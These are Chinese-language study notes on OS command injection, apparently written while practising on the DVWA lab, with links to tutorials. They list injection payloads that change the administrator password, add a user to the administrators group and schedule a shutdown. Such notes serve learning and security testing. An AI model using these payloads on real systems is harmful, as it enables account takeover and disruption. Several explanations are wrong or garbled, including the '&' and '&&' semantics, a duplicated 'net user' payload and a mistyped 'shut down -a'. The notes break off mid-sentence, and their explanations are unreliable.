链接:
(3条消息) 命令执行基础知识_执行命令_于尘世中迷途小书童的博客-优快云博客
命令注入靶场演示
(32条消息) pikachu-RCE_发奋的鼹鼠的博客-优快云博客
命令注入使用相关函数链接:
(32条消息) CTF-命令执行【超详细】_ctf 命令执行_不知名白帽的博客-优快云博客
命令注入造成原因:没有做限制 用shell_exec执行函数没有过滤就执行,导致用户的输入当作指令被引用
ps:判断系统:
windows:pping四次就停
liux:ping人为不停止就不停
在命令注入过程中使用的连接符:
Windows系统:
|:只执行后面的语句。
||:如果前面的语句执行失败,则执行后面的语句。
&:两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
&&:如果前面的语句为假,则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。
Linux系统:
;:执行完前面的语句再执行后面的语句,当有一条命令执行失败时,不会影响其它语句的执行。
|(管道符):只执行后面的语句。
||(逻辑或):只有前面的语句执行出错时,执行后面的语句。
&(后台任务符):两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
&&(逻辑与):如果前面的语句为假则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。(命令替换):当一个命令被解析时,它首先会执行反引号之间的操作。例 echo whoami
实战:打开dvwa靶场进行low级别命令注入
进行ping 回环地址127.0.0.1
low级别:什么符号都没有过滤
|只执行后面
127.0.0.1 | ipconfig
127.0.0.1 | net user
127.0.0.1 | net user administrator 123456
||只要前面语句执行失败才执行后面
查看用户
abc || net user
修改管理员密码
abc || net user net user administrator 123456
添加用户
abc || net user xmm /add
提权
abc || net localgroup administrators xmm /add
远程定时关机
abc || shutdown -s -t 100
解除
abc || shut down -a
查看配置信息
abc || systeminfo
&两条语句都执行,前面的不正确也会执行后面
127.0.0.1 & systeminfo
abc & systeminfo
前面操作要为真
php命令执行函数:
PHP-代码执行函数-命令执行函数_php命令执行函数_大风呼呼的的博客-优快云博客
代码执行函数eval字符串按照php代码计算,需要传输参数
php版本问题有些函数执行不了
在vscode案例: